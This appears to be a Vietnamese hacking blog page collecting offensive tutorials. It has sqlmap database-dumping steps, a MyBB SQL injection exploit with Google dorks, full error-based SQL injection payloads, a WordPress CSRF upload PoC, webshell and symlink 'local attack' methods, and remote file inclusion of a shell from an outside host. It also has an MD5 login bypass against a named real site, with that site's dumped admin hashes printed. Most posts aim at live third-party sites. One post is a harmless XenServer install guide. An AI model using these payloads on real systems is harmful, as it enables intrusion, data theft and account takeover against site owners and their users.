Trang

Hướng dẫn sử dụng SqlMap Backtrack 5

Hi, in this tutorial, I’ll be showing you a simple SQL Injection using BackTrack 5.

Quote:
[dbname] = Database name; [tbname] = Table name; [cmname] = Column name.

1. Open up sqlmap
This image has been resized.Click to view original image

2. One we load the terminal, we wanna find a vunerable site.
Use any dork or check any posted vulns 3. Now, it’s time for the codes
Quote:
./sqlmap.py -u website.com/index.php?id=? --dbs
With this command, you’ll be able to extract the databases.
Looks like this:


3. Once we have the DBS, it’s time to get the tables.
Quote:
./sqlmap website.php/index.php?id=? -D [dbname] --tables
4. After we get the tables which looks like this:

We need to get the columns.
Now, we need to write:
Quote:
.sqlmap.py -u website.com/index.php?id=? -D [dbname] -T [tbname] --columns
5. Once we get the columns
This image has been resized.Click to view original image

We need to dump the files.
Quote:
.sqlmap.py -u website.com/index.php?id=? -D [dbname] -T [tbname] -C [cbname] --dump
Example .sqlmap.py -u website.com/index.php?id=? -D information_shema -T users -C username --dump
6. After we do this, we will get encrypted password.
How to decrypt!?
You can decrypt online, or using the aforementioned hash.py.
How to use Hash.py!?
Download link for Hash.py
http://uploading.com/ee6e71ed/hash-py
1. Move it to /root
2. Open up your BT5 Terminal
3. Locate your file, in our case /root/hash.py
Quote:
/root/hash.py
We have Online & Offline attack methods.
If you wanna use the offline method, you need a wordlist.

Xem Thêm

 

MyBB Ajaxfs 2 Plugin - SQL Injection Vulnerability

###########################

# Mybb Ajaxfs Plugin Sql Injection vulnerability

###########################

#################################
#
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@
#
#####################################

# Exploit Title : Mybb Ajaxfs Plugin Sql Injection vulnerability

# Author : Iranian Exploit DataBase

# Discovered By : IeDb

# Email : [email protected] - [email protected]

# Home : http://iedb.ir - http://iedb.ir/acc

# Fb Page : https://www.facebook.com/pages/Explo...99266860256538

# Software Link : http://mods.mybb.com/download/ajax-forum-stat-v-2

# Security Risk : High

# Tested on : Linux

# Dork : inurl:ajaxfs.php

#################################

1)

if(isset($_GET['tooltip']))
{
$pid=$_GET['tooltip'];
$query_post = $db->query ("SELECT * FROM ".TABLE_PREFIX."posts WHERE pid='$pid'");


2)

if(isset($_GET['usertooltip']))
{
$uid=$_GET['usertooltip'];
$query_user = $db->query ("SELECT * FROM ".TABLE_PREFIX."users WHERE uid='$uid'");

http://localhost/Upload/ajaxfs.php?usertooltip=1'

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

Google DORK : inurl:ajaxfs.php


# Exploit :

# http://site.com/mybb/ajaxfs.php?tooltip=[sql]

# http://site.com/mybb/ajaxfs.php?usertooltip=[sql]


#################################

# Tnx To : All Member In Iedb.ir/acc & Iranian Hackers

#################################

Xem Thêm

 

Tool] Quick Blind SQL Injection script

Đây là script được code bằng python…Tự động khai thác dạng sql injection quick blind

Điều kiện: cài python và wget cho python

Gồm 2 class…(thật ra 1 cũng được nhưng để dành phát triển) và 1 hàm main

Các bạn có chỉnh sửa gì cứ mở file main.py ra sửa nha.

Ví dụ:

inject_link = ‘http://edu.hiast.edu.vn/index.php?pg=tintuc&task=chitiet&p2=26&p3=4331 ‘

Các bạn có thể đổi thành site xpath bất kỳ với định dạng caigido=sogido (sorry, mới làm được dạng này)

Lang man quá, đây là link tải Big Grin

sqli: Base class

sqli quick blind: Quick blind exploit

main application

Demo:





















































[Hình: Untitled12.png]

Xem Thêm

 

[TUT] Khai thác lỗi SQL Injection dạng error-based quick blind

Ví dụ victim có dạng:

http://target.com/page.php?id = 1

Lệnh get version, database

http://target.com/page.php?id = 1 [color=#ffffffff]And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)[/color]

Tương tự vậy, lệnh get table:

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Bạn để ý chỗ 1,145…Tăng số 1 đó thành một số lớn hơn (thường là số ký tự được trả ra trong dấu ngoặc kép sau phần duplicate entrie….)

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),63,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tiếp theo, lấy column của một table nào đó

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=0xso_hex_cua_tablename) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tăng số 1 theo nguyên tắc như trên.

Và cuối cùng là dữ liệu:

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name_1,0x7c,column_name_2),1,145) FROM table_name_nao_do) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

CEH

Xem Thêm

 

Backdoor trong modem D-Link và khai thác

Một người bạn đã đưa cho tôi bài viết này.

Backdoor trong modem D-Link và khai thác với chrome

reverse engineering đối với firmware của modem D-Link và phát hiện trong đó có một cách có thể để bất cứ người nào truy cập trực tiếp vào modem D-Link.

Rõ ràng đây là dụng ý của nhà sản xuất firmware…Đoạn code có dạng:


Mã:

Xem Thêm

 

WordPress Curvo Themes - CSRF File Upload

################################################## #################################################
# Exploit Title: WordPress Curvo Themes CSRF File Upload Vulnerability
# Author: Byakuya
# Date: 10/26/2013
# Vendor Homepage: http://themeforest.net/
# Themes Link: http://www.wphub.com/themes/curvo-by-themeforest/
# Infected File: upload_handler.php
# Google dork: inurl:/wp-content/themes/curvo/
################################################## #################################################

# Exploit & POC :

<form enctype="multipart/form-data"
action="http://127.0.0.1/wordpress/wp-content/themes/curvo/functions/upload-handler.php" method="post">
<input type="jpg" name="url" value="./" /><br />
Please choose a file: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

#File path:
http://site.com/wordpress/wp-content/uploads/[FILE]
or
http://site.com/wordpress/wp-content/uploads/[year]/[month]/[FILE]

Xem Thêm

 

Hướng dẫn cài đặt XenServer 6 và XenCenter

Yêu cầu hệ thống

XenServer chạy trực tiếp trên phần cứng đồng nghĩa với việc sẽ không có bất cứ thứ gì nằm giữa phần cứng và XenServer. Nói cách khác, XenServer đúng nghĩa là một hệ điều hành. Nó sẽ giao tiếp trực tiếp với phần cứng, gồm cả card mạng (NIC) và bộ điều khiển lưu trữ.

Chương trình yêu cầu CPU 64 bit kích hoạt Intel VT hoặc AMD-V. Nhưng, đây chỉ là khuyến nghị từ nhà cung cấp. XenServer vẫn có thể được cài nếu CPU không được kích hoạt Intel VT hay AMD-V. Tuy nhiên, các tiện ích và tính năng sẽ bị hạn chế.

Nhớ rằng, XenServer là một chương trình ảo hóa một phần. Nó sử dụng kỹ thuật ảo hóa một phần trong ảo hóa server. Do đó, chương trình đòi hỏi bộ xử lý trên server vật lý có khả năng thực hiện công nghệ ảo hóa để ta có thể tận dụng hết khả năng của nó.

Người dùng cần tối thiểu 2GB RAM chỉ để cài đặt XenServer, nhưng theo khuyến nghị, nên sử dụng ít nhất 8GB RAM, đặc biệt nếu người dùng dự định tạo nhiều máy ảo trên đó. Bản thân XenServer yêu cầu 16GB bộ nhớ nhưng, ta sẽ cần nhiều không gian hơn cho máy ảo.

Chương trình có thể hoạt động với một bộ điều khiển NIC 100Mb. Tuy nhiên, bộ điều khiển một Gigabit hay thậm chí 10Gigabit được khuyến nghị.

Phần cứng cho XenServer

Có thể đặt 1TB RAM, 16 NIC và 64 bộ xử lý logic trên một máy chủ (host) vật lý chạy XenServer. Nhớ rằng các bộ xử lý logic là sự kết hợp của nhiều lõi.

Hãy kiểm tra danh sách phần cứng tương thích (HCL) tại hcl.xensource.com trước khi trả tiền mua phần cứng hay thiết bị ngoại vi dự đính gắn vào server.

Trong hầu hết trường hợp, khi người dùng tìm đến một nhà cung cấp phần mềm và bảo cho họ cái mình định làm với server (ví dụ làm XenServer), trước hết, nhà cung cấp sẽ kiểm tra tính tương thích. Tuy nhiên, hãy kiểm tra các phần cứng như thiết bị ngoại vi, NIC… trong HCL để tránh những phát sinh trong quá trình cài đặt và sử dụng sau đó.

XenServer thực ra được cài trên phần cứng lớp server. Tuy nhiên, do là một bản phân phối Linux và do đang sử dụng kỹ thuật ảo hóa một phần nên nó có thể tương thích với nhiều loại máy để bàn hay thậm chí là laptop.

Vì vậy, nếu muốn thử nghiệm, người dùng có thể cài XenServer lên một laptop hay trên một máy trạm, chương trình sẽ vẫn hoạt động.

Tải Citrix XenServer 6 và XenCenter

Tải XenServer và XenCenter từ http://www.citrix.com/xenserver. Hoặc nếu có tài khoản MyCitrix, bạn có thể truy cập vào http://www.citrix.com/mycitrix để tải chương trình.

XenServer có dung lượng 508MB (file đuôi ISO) và XenCenter là 41MB.

Cài đặt XenServer thì nhanh và dễ dàng. Sau đây là các bước cài đặt:

Ghi file ISO vào một đĩa CD và cho đĩa vào ổ đĩa quang hoặc bung file bằng phần mềm như MagicISO.
Hãy đảm bảo VT (hay AMD-V) được kích hoạt trong BIOS của server.
Khởi động từ đĩa CD.
Đáp ứng các truy vấn thiết lập cơ bản và khởi động lại.
Thực hiện những cấu hình ban đầu, như gán địa chỉ IP, host name, mật khẩu…
Kết nối vào XenServer qua XenCenter.


Quá trình cài đặt chỉ mất khoảng 10 phút.
Yêu cầu cài đặt XenCenter

Citrix XenCenter là một ứng dụng nền Windows có thể được cài trên máy thật hoặc máy ảo.

Chương trình tương thích với bất cứ phiên bản Windows nào: Windows XP, Vista, 7, Server 2003, 2008 và 2008RC. XenCenter yêu cầu .NET Framework 3.5.

Yêu cầu được khuyến nghị như sau: Tần số 1GHz, RAM tối thiểu 2GB, tốc độ NIC ít nhất 100Mbps và độ phân giải màn hình tối thiểu 1024x768. Chương trình chiếm 100MB không gian đĩa cứng.
Cài đặt XenServer
http://www.thuvien-it.net/home/tinhoc/vi...eadid=7978

Xem Thêm

 

Tìm hiểu về Local Attack

I. Khái niệm chung


  • Thông thường, khi host một site lên server thì người dùng sẽ được cấp một tài khoản người dùng và một thư mục để quản lý site của mình. Ví dụ tài khoản user1 được cấp thư mục /home/user1 để quản lý site của user1. Tương tự như vậy, tài khoản user2 được cấp thư mục /home/user2 để quản lý site của user2. Bằng cách nào đó, hacker có thể chiếm giữ /home/user2 và dùng các script (shell) để truy nhập vào /home/user1. Cách thức tấn công dựa vào các script ở site của user này để tấn công vào site của user khác trên cùng một server được gọi là Local Attack.





  • Như vậy, Local Attack chỉ diễn ra ở các shared-server, nơi mà có nhiều site cùng được đặt trên đó. Với các site đặt trên một server riêng biệt thì tất nhiên không xảy ra hình thức tấn công này.
  • Điểm mấu chốt của tấn công Local Attackhacker đã chiếm được quyền điều khiển một site nằm trên shared-server đó và sử dụng nó làm bàn đạp tấn công các site khác cùng server. Điều này có thể hiểu đơn giản là hacker đã upload được một web-shell (phổ biến như r57, c99…) lên site của user2 (site này đặt tại /home/user2) và dùng web-shell này để tấn công sang site của user1 (được đặt tại /home/user1). Để có được web-shell trên một site để dùng làm bàn đạp, hacker có thể lợi dụng các lỗ hổng của site đó như SQL injection, XSS,… Thậm chí, hacker có thể mua một host nằm trên cùng server với site đó rồi tự upload web-shell lên và tiến hành Local Attack.


II. Một số kiến thức cần biết

1. Host và Shared Hosting


  • Thông thường đối với web site, dữ liệu của nó phải được lưu trên 1 máy chủ (server) luôn hoạt động và kết nối với mạng internet. Khoảng không gian bộ nhớ trên máy chủ sử dụng để lưu trữ dữ liệu của website được gọi là host.
  • Đối với một số cơ quan tổ chức, việc thuê hẳn 1 server để lưu trữ dữ liệu website là không thiết thực. Do nhu cầu của họ chỉ đơn giản là lưu trữ, hơn nữa giá thành thuê 1 server cũng không phải là rẻ. Chính vì vậy, shared hosting là một lựa chọn hợp lý. Với shared hosting, không gian bộ nhớ trên server được chia thành nhiều host nhỏ, riêng biệt với nhau và đều cho thuê. Do vậy trên 1 server sẽ chứa dữ liệu của nhiều website và đó cũng là ngọn nguồn của cho local attack phát triển.


2. Hệ thống phân quyền

  • Không giống như windows, hệ điều hành Linux có hệ thống phân quyền khá phức tạp và chặt chẽ.
  • Linux hỗ trợ 3 quyền làm việc cơ bản:
r: quyền đọc (read)
w: quyền ghi (write)
x: quyền thực thi (execute)
- : không cho phép.
  • Các quyền này được chỉ định cho 3 đối tượng:

u : người sở hữu (owner)
g : nhóm sở hữu (group)
o : các người sử dụng thông thường (other)



  • Quyền cho 1 file hay thư mục được biểu hiện như sau :

– rwx rwx rwx

đặc tính owner group other
Ký tự thứ nhất: xác định kiểu của file.

- : regular file (text, binary, executed file)
d : thư mục
c/b : device file
l : link file

9 ký tự kế tiếp: xác định quyền đọc, ghi, thực thi đối với người sở hữu, nhóm sở hữu và người dùng còn lại.


  • Thay đổi nhóm/người sở hữu: chown, chgrp
    • Thực hiện bởi root hoặc người sở hữu.
    • Thay đổi người sở hữu:
    • chown user_name file_name
    • Thay đổi nhóm sở hữu:
    • chgrp group_name file_name

  • Thay đổi quyền truy cập: chmod
    • Cú pháp :
chmod quyền đối tượng


  • Ví dụ :
Muốn thêm quyền ghi cho nhóm đối với thư mục shell ta dùng lệnh :
chmod g+x shell
g+x cho biết sẽ thêm quyền ghi (w) vào đối tượng group (g).Tương tự các quyền khác với các đối tượng khác.
Muốn loại bỏ hoàn toàn quyền của đối tượng group ta dùng lệnh :
chmod g-rwx shell
Quyền của file (thư mục) trong câu lệnh chmod còn được biểu hiện bằng các các số theo qui luật sau :


r : quyền đọc (read) = 4
w : quyền ghi (write) = 2
x : quyền thực thi (execute) = 1
- : không cho phép = 0


Giả sử muốn:
owner quyền đọc, ghi, thực thi (4+2+1=7)
group quyền đọc và ghi (4+2=6)
người dùng khác (other) quyền thực thi (=1)

Ta làm như sau :
chmod 761 shell


  • Quyền truy cập đối với tệp tin
    • Quyền đọc (r – read): tức người dùng có thể đọc nội dung của file.
    • Quyền ghi (w – write): tức là người dùng có thể ghi nội dung vào file.
    • Quyền thực thi (x – execute): nếu file là file thực thi (chạy) thì người dùng có thể chạy file này.
  • Quyền truy cập đối với thư mục
    • Quyền đọc (r – read): tức người dùng có thể liệt kê danh sách tên file thông qua lệnh ls.
    • Quyền ghi (w – write): tức là người dùng có thể tạo hoặc xóa file trong thư mục.
    • Quyền thực thi (x – execute): cho phép người dùng nhảy vào trong thư mục (lệnh cd).
    • Quyền đọc và thực thi không phụ thuộc vào nhau.

3. Webshell


  • Đối với hệ điều hành Linux, khái niệm shell có lẽ đã quá quen thuộc với người dùng. Shell được hiểu như là 1 phần mềm cung cấp cho người dùng giao diện để giao tiếp với phần nhân của hệ điều hành.
  • Tương tự với shell, webshell là một shell với giao diện web cho phép người dùng tương tác với hệ thống. Sự ra đời của webshell đã giúp các nhà quản trị đơn giản hóa công việc quản lý server của mình rất nhiều. Các quản trị viên có thể thực hiện các thao tác như copy, xóa, di chuyển, download, upload các file… với chỉ vài cú click chuột đơn giản. Với những tính năng ưu việt này, nhưng khi rơi vào tay hacker, webshell lại trở thành 1 công cụ đáng sợ giúp thâm nhập hệ thống. Dần dần, dựa trên những webshell “nguyên thủy”, các hacker đã thêm vào nhiều tính năng, tạo nên webshell riêng phục vụ cho mục đích xấu của mình.
  • Một số webshell nổi tiếng: webadmin, r57, c99…

Các bước tấn công local attack


Bước 1: Xác định mục tiêu

Việc đầu tiên hacker sẽ xác định mục tiêu tấn công là site www.victim.com. Sau khi xác định mục tiêu, hacker sẽ tìm xem có những site nằm trên cùng server với victim. Điều này được thực hiện dễ dàng thông qua 1 số công cụ reverse ip:


myIPneighbors
seologs
huehacker
Whois
FreeReverseIp

Bước 2: Chiếm quyền điều khiển một site cùng server với mục tiêu

Khi đã tìm được các website có cùng server với victim, hacker sẽ chọn các website có hệ thống an ninh lỏng lẻo nhất và tấn công bằng các phương pháp: SQL injection, Reverse Directory Transversal, khai thác các bug… Việc này được thực hiện cho đến khi hacker chiếm quyền kiểm soát 1 website và upload được webshell của mình lên đó.

Bước 3: Thu thập thông tin về mục tiêu
Sau khi đã có webshell, hacker sẽ dò tìm, thu thập tất cả các thông tin về website victim như chạy dưới quyền user nào, thư mục gốc, được phân quyền ra sao… Bước này là bước quan trọng trong quá trình cuộc tấn công mục tiêu. Thông thường hacker sẽ sử dụng các câu lệnh sau để hiển thị các thông tin cần thiết:

cat /etc/passwd

cat /etc/valiasse


Tập tin /etc/passwd chứa thông tin về danh sách các user. Tập tin /etc/valiasse chứa thông tin về danh sách các site nằm trên server. Từ hai tập tin này, hacker có thể phỏng đoán được user ứng với mỗi website và đặc điểm của user đó cũng như tìm được thư mục gốc.

Bước 4: Tấn công trực tiếp mục tiêu
Sau khi có được các thông tin cần thiết như trên, hacker sẽ tiến hành tấn công trực tiếp mục tiêu. Nếu mục tiêu được cấu hình không tốt, hacker có thể đọc được các thông tin quan trọng như cấu trúc các thư mục, nội dung các file cấu hình của php, mysql như username, password của cơ sở dữ liệu… Thậm chí hacker có thể tiếp tục upload webshell lên side của mục tiêu để tạo backdoor cho các lần tấn công sau đó.
Khi đã có trong tay thông tin đăng nhập vào cơ sở dữ liệu thì việc còn lại của hacker chỉ là lấy cắp hoặc thay đổi các thông tin của website, điều này càng trở nên dễ dàng khi nội dung cơ sở dữ liệu không được mã hóa. Tệ hơn, hacker có thể xóa toàn bộ dữ liệu của website.

Bản chất – nguyên nhân
Qua việc phân tích các bước tấn công như trên, chúng ta có thể thấy nguyên nhân sâu xa gây ra Local Attack là do việc phân quyền không chặt chẽ của quản trị server cũng như quản trị website. Trong bốn bước tấn công trên thì bước 3 và bước 4 là hai bước mà hacker tấn công trực tiếp vào server và website mục tiêu. Ở bước 3, do việc phân quyền các file quan trọng như /etc/passwd của quản trị server không kĩ nên hacker có thể lấy được các thông tin về user trong file này. Ở bước 4, trách nhiệm lại thuộc về quản trị website khi cấu hình phân quyền các file, thư mục không tốt khiến hacker có thể dễ dàng hiện được cấu trúc thư mục cũng như đọc được các thông tin quan trọng khác.

Đối với thư mục, cấu hình phân quyền mặc định trong Windows là 777, trong Linux là 755. Còn đối với file, cấu hình phân quyền mặc định trong Windows là 666 và trong Linux là 644. Với cấu hình lỏng lẻo như thế này, hacker có thể dễ dàng xem được các thông tin quan trọng về hệ thống cũng như các thông tin quan trọng trong file cấu hình bằng lệnh ls, cat

Giải pháp
Có rất nhiều biện pháp phòng chống Local Attack, đòi hỏi sự phối hợp chặt chẽ từ cả 2 phía: quản trị server (hosting provider) và quản trị web (customer).

1. Từ phía quản trị server (hosting provider)

  • Trước hết, các nhà quản trị server nên tự trang bị cho mình những công cụ bảo vệ server như firewall và chương trình antivirus được cập nhập bản mới nhất. Antivirus giúp phát hiện và diệt những shell hay chương trình độc hại ngay khi nó được upload lên server, firewall đóng vai trò như 1 vệ sĩ gác cửa ngăn chặn và cảnh báo 1 số các sự kiện: mở cổng, truy cập khả nghi đến server
  • Việc cập nhập phiên bản kernel cũng như các phiên bản ứng dụng mới cho server phải được thường xuyên thực hiện. Cũng nên kiểm tra, cập nhập web serverdatabase server lên phiên bản mới nhất. Điều này không chỉ giúp cho server sử dụng các tính năng mới nhất mà còn tránh được các lỗ hổng gây lỗi của phiên bản cũ.
  • Tổ chức phân quyền đúng đắn cho server. Mỗi hosting sẽ được cấp 1 tài khoản người dùng riêng trên server và được giới hạn quyền tối thiểu. Web server và database server chạy dưới quyền các user riêng biệt.
  • Cài đặt và sử dụng Mod_security.
  • Cài đặt và sử dụng suPHP.
  • Sử dụng tính năng PHP safe_mode.

2. Từ phía quản trị website (customer)


  • Chmod chặt chẽ cho các thư mục và file. Với thư mục nên chmod 701, với file nên chmod 600.
  • Sử dụng tính năng PHP safe_mode.

VI. Một số kĩ thuật tấn công Local Attack


1. Bypass safe_mode

a. Tính năng safe_mode trong PHP

  • Safe_mode là một giải pháp để giải quyết vấn đề bảo mật trong các shared-server. Về mặt kiến trúc thì đây là công việc nằm ở tầng của web server và hệ điều hành. Tuy nhiên hai tầng trên hiện không đáp ứng thực sự tốt công việc này. Do vậy, ngày nay rất nhiều người đang sử dụng tính năng safe_mode của PHP như một giải pháp thay thế.
  • Để bật tính năng safe_mode của PHP, bạn chỉ cần sửa lại dòng sau trong file php.ini:
safe_mode = On


  • Khi safe_mode được bật, PHP sẽ kiểm tra xem owner của script có trùng với owner của file đang được tác động hay không. Nếu không trùng sẽ có thông báo lỗi xuất hiện. Ví dụ owner của /etc/passwdroot (uid = 0), owner của script test.phpsangcx (uid = 509). Nội dung của script test.php:
<?php readfile(‘/etc/passwd’); ?>

Khi chạy script test.php ta sẽ nhận được thông báo:

Warning:
readfile() [function.readfile]: SAFE MODE Restriction in effect. The script whose uid is 509 is not allowed to access /etc/passwd owned by uid 0 in /usr/local/apache2/htdocs/site2/test.php on line 2


  • Chúng ta cũng có thể vô hiệu hóa một số hàm bằng chỉ thị disable_function của safe_mode (thay đổi chỉ thị này trong file php.ini):
disable_function = readfile

Khi chạy scritp test.php ở trên ta sẽ nhận được thông báo:


Warning: readfile() has been disabled for security reasons in /usr/local/apache2/htdocs/site2/test.php on line 2


Danh sách các hàm mà safe_mode cấm dùng hoặc bị vô hiệu hóa:

http://www.php.net/manual/en/features.safe-mode.functions.php

b. Kĩ thuật bypass safe_mode


  • Để bypass safe_mode, ta cần upload được một file php.ini với nội dung như sau lên server:
safe_mode = Off


Hiện nay có nhiều shell có tính năng này. Chỉ cần 1 cú click chuột là shell sẽ tự tạo một file php.ini nội dung như trên và upload lên server. Một trong các shell hay được sử dụng để bypass safe_modeAluCar.

2. Symlink


a. Một số kiến thức về symlink

  • Trong Linux, dữ liệu của các file được chia thành các block, 1 block = 1K, 2K, 4K…
  • Có nhiều cách tổ chức để liên kết các khối dữ liệu trong một file với nhau, một trong các cách đó là dùng chỉ mục (indexed allocation).



  • Với kiểu tổ chức này, một file được đại diện bằng một Index Node (Inode).



  • Inode chứa các thông tin:
    • Quyền truy cập đến file.
    • Thông tin về người/nhóm sở hữu.
    • Thông tin về thời gian.
    • Số liên kết đến Inode.
    • Kích thước file, địa chỉ các block dữ liệu
    • NHƯNG: không chứa tên file à 1 inode có thể ứng với nhiều file name.
  • Có hai loại file liên kết trong Linux: hard link và soft link (hay symbolic link).
  • Hard link – liên kết cứng, sử dụng chung dữ liệu.
    • Các file có tên khác nhau.
    • Cùng 1 inode.
    • Chỉ số liên kết trong inode bằng số file trỏ đến nó.
    • Có thể khác thư mục.
    • Cách tạo hard link: ln src_file hard_link_file
  • Soft link (symbolic link – symlink) – liên kết mềm, liên kết kiểu con trỏ file (short cut).
    • Các file có tên khác nhau.
    • Giá trị inode khác nhau.
    • Nội dung file liên kết mềm là tên file được liên kết.
    • Cách tạo symlink: ln – s src_file sym_link_file
  • Có thể hình dung symlink giống như tạo short cut trong Windows.

b. Kĩ thuật symlink trong Local Attack


  • Khi thực hiện tấn công Local Attack, đôi khi chúng ta không thể hiện được các thông tin quan trọng như cấu trúc thư mục, nội dung file cấu hình của victim. Nguyên nhân là do cấu hình của server không cho phép chúng ta làm điều đó. Để giải quyết vấn đề này ta có thể dùng kĩ thuật symlink.
  • Ví dụ khi đã có shell tại /home/user1/ và muốn tấn công victim có thư mục nằm tại /home/user2. Các câu lệnh hay dùng như ls –la /home/user2 không có tác dụng. Khi đó ta sẽ tạo một symlink tới thư mục /home/user2 như sau:
ln –s /home/user2 a.txt

  • Khi đó a.txt sẽ như một shortcut đến thư mục /home/user2. Ta chỉ cần vào địa chỉ /home/user1/a.txt là nội dung thư mục /home/user2 sẽ hiện ra. Tuy nhiên, để làm được điều này thì một số chỉ thị sau của server phải được bật:

Options +FollowSymLinks #cho phép dùng symlink

DirectoryIndex seees.html #vô hiệu hóa file index.html

Options +Indexes #cho phép hiện cấu trúc thư mục


  • Nếu server không bật các chỉ thị trên, có thể bạn sẽ gặp lỗi 500 Internal Server Error hoặc lỗi 403 Forbidden. Để khắc phục hiện tượng này, bạn chỉ cần tạo một file .htaccess có nội dung là 3 chỉ thị trên rồi upload lên server.
- Sưu tầm

Xem Thêm

 

Hacking Website using RFI Method

RFI là gì (Remote File Inclusion)
Remote File Inclusion (RFI) là một loại tổn thương thường thấy nhất trên các trang web. Nó cho phép kẻ tấn công bao gồm một tập tin từ xa, thường là thông qua một kịch bản trên máy chủ web. Dễ bị tổn thương xảy ra do việc sử dụng của người dùng cung cấp đầu vào mà không xác nhận thích hợp. Điều này có thể dẫn đến một cái gì đó như tối thiểu như xuất ra các nội dung của tập tin, nhưng tùy thuộc vào mức độ nghiêm trọng, để liệt kê một vài có thể dẫn đến:

* thực hiện trên web
* thực hiện trên phía máy khách như JavaScript có thể dẫn đến các cuộc tấn công khác như cross site scripting (XSS).
* Từ chối dịch vụ (DoS)
* Dữ liệu Theft / ManipulationRFI một lỗ hổng rất phổ biến do các bản vá lỗi và cập nhật trên các trang web quá nhiều.

Bây giờ để kiểm tra xem trang web xem có lỗi hay không để RFI sẽ trả về các lệnh sau đây
Victim chỉ là demo thôi nhé
*www.site.com/index.php?page=www.google.com*
Nếu trang web trả về google thì trang web đó bị lỗi

*/ Cần phải chuẩn bị một code shell .txt lên google search sẽ rất nhiều

*www.site.com/index.php?page=**www.oursite.com/shell.txt*

Xem Thêm

 

Cách login khi không decode đc md5 đối với 1 số site

Cách login khi không decode đc md5 đối với 1 số site
================
Tut by Leorius - VHB - Dành cho newbie, miễn gạch đá

1. Chào các bạn, mình mạo muội làm tut login khi không decode được MD5
đối với một số website mã hoá MD5 trước khi post dữ liệu lên server.

Yêu cầu:

+ Victim: http://traanh.vn/
+ Addon Tamper (Firefox) hoặc các addon tương tự

2. Trước tiên là tìm User,Pass:

http://traanh.vn/?frame=product_deta...m%20tbl_user--



1|admin|c2a26024ce725f94d9b9e90f6a618ba3
2|phamvan|48472492c504e777a664efeff27d9fee
Tình hình là thử đối với các site decode MD5 lớn cho chuỗi c2a26024ce725f94d9b9e90f6a618ba3 mà không được.

Thay vì bỏ, thì còn phương án sau.

3. Tìm link admin, thử login với user là admin (get được ở trên) và pass bất kì (123456):

http://traanh.vn/admin/

4. Bạn để ý chuỗi pass bạn nhập ban đầu chỉ 6 ký tự, nhưng sau khi bấm submit thì chuỗi pass dài ra, tư duy một tí đoán là admincp này mã hoá MD5 bằng JavaScript trước khi post lên server xử lý.

Đến đây có lẽ vấn đề đã được giải quyết:

+ Bật tamper lên
+ Login bằng user (đã get được) và pass (123456)
+ Edit giá trị password bằng tamper thành chuỗi md5 không giải mã được (c2a26024ce725f94d9b9e90f6a618ba3)


Xem Thêm

 

Sqlmap plugin for BurpSuite

Nếu bạn là 1 pentester, chắc hẳn không lạ gì 2 công cụ rất phổ biến là sqlmap và burpsuite. Nhưng kết hợp chúng lại với nhau để làm việc như là 1 công cụ thì chắc nhiều người chưa biết.

Sau đây là tutorial của namhb về việc kết hợp này.

Đầu tiên, chúng ta download plugin sqlmap của burpsuite về:

Download SQLmap plugin for Brupsuite at: http://code.google.com/p/gason/downloads/list

1 – Lưu nó lại cùng thư mục với brupsuite

2 – Sử dụng câu lệnh để khởi động brupsuite với plugin: ( ở trong Linux)

java -classpath gason-0.9.5.:”burpsuite_v1.4.01.jar” burp.StartBurp

3 -Khi bạn click vào tab proxy / action, bạn sẽ nhìn thấy tùy chọn send to sqlmap

[Hình: _r_-BO3n0LZXsnrUTNcSzxjegckx9RgHkDPujoDB...cjmflcPdUs]

Việc tiếp theo chỉ cần trỏ trình duyệt nhận brupsuite làm proxy.

[Hình: 4O7tu530hubLlAaAFLhH-KCkmokxxKhtMreIs_ye...YAVUzsePHY]

Sau khi đã chọn send to sqlmap, chúng ta sẽ thấy hiện ra SQLMap Options:

Ở trong SQLmap option, bạn phải:

1 – Cấu hình đường dẫn tới thư mục SQLmap bin

2 – Chọn action

3 – Các option cần thiết, sau đó run

[Hình: z2i_gC10aDHkWm3f8gPuvuzGQGIbZ-msi6UvBnoB...iCzgSyhqMY]

Và đây là kết quả thu được:

[Hình: nrsFOZccXwq9YY7083o2NqF9CvPdIQBGumSZ3D59...CLJi2p607E]

Xem Thêm

 

Copyright © Dương-UG Blog's - Nguyễn Bình Dương